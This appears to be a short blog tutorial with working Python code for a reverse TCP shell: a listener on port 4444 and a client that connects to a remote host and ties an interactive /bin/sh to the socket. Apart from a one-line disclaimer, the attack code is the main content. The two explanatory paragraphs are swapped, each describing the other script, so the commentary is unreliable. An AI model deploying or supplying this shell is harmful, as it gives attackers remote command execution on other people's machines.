Write Python Reverse TCP Shells in less than 5.1 Min
R. Eric Kiser

Disclaimer: for research purposes and connections to devices you own. To write a reverse TCP shell in any language you will need two programs, the server and the client. You need to run the server (listener) on your device and run the client on computer you want to connect to. Python is often allowed on most systems.
Reverse TCP Shell Server Example
import socket
HOST = '0.0.0.0' # Listen on all interfaces
PORT = 4444 # Port to listen on
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((HOST, PORT))
s.listen(1) # Listen for only one connection
print(f'[*] Listening on {HOST}:{PORT}')
conn, addr = s.accept()
print(f'[*] Connection from {addr[0]}:{addr[1]}')
# Start a shell
while True:
command = input("$ ")
if command == "exit":
break
conn.send(command.encode())
data = conn.recv(1024).decode()
print(data)
conn.close()This
script creates a socket and connects to the IP address and port
specified by the HOST and PORT variables, respectively. After
connecting, it starts a shell process and redirects its input, output,
and error streams to the socket. The Popen.wait() method is called to run the shell until it terminates. Finally, the socket is closed.
Reverse TCP Client Example
import socket
import subprocess
HOST = '10.0.0.1' # IP of the listener
PORT = 4444 # Port to connect to
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
# Start a shell process
p = subprocess.Popen(['/bin/sh', '-i'],
stdin=s.fileno(),
stdout=s.fileno(),
stderr=s.fileno())
# Run the shell until the process terminates
p.wait()
# Close the socket
s.close()This script creates a socket and binds it to the IP address and port specified by the HOST and PORT variables, respectively. Then it listens for incoming connections, and when a connection is received it prints the IP address and port of the client. After that, it enters into a loop, where it waits for commands from the user and sends them to the connected client. The client receives the command, execute it and sends back the result to the server which is printed. If the command received is “exit”, the loop breaks and the connection is closed.
Comments
Post a Comment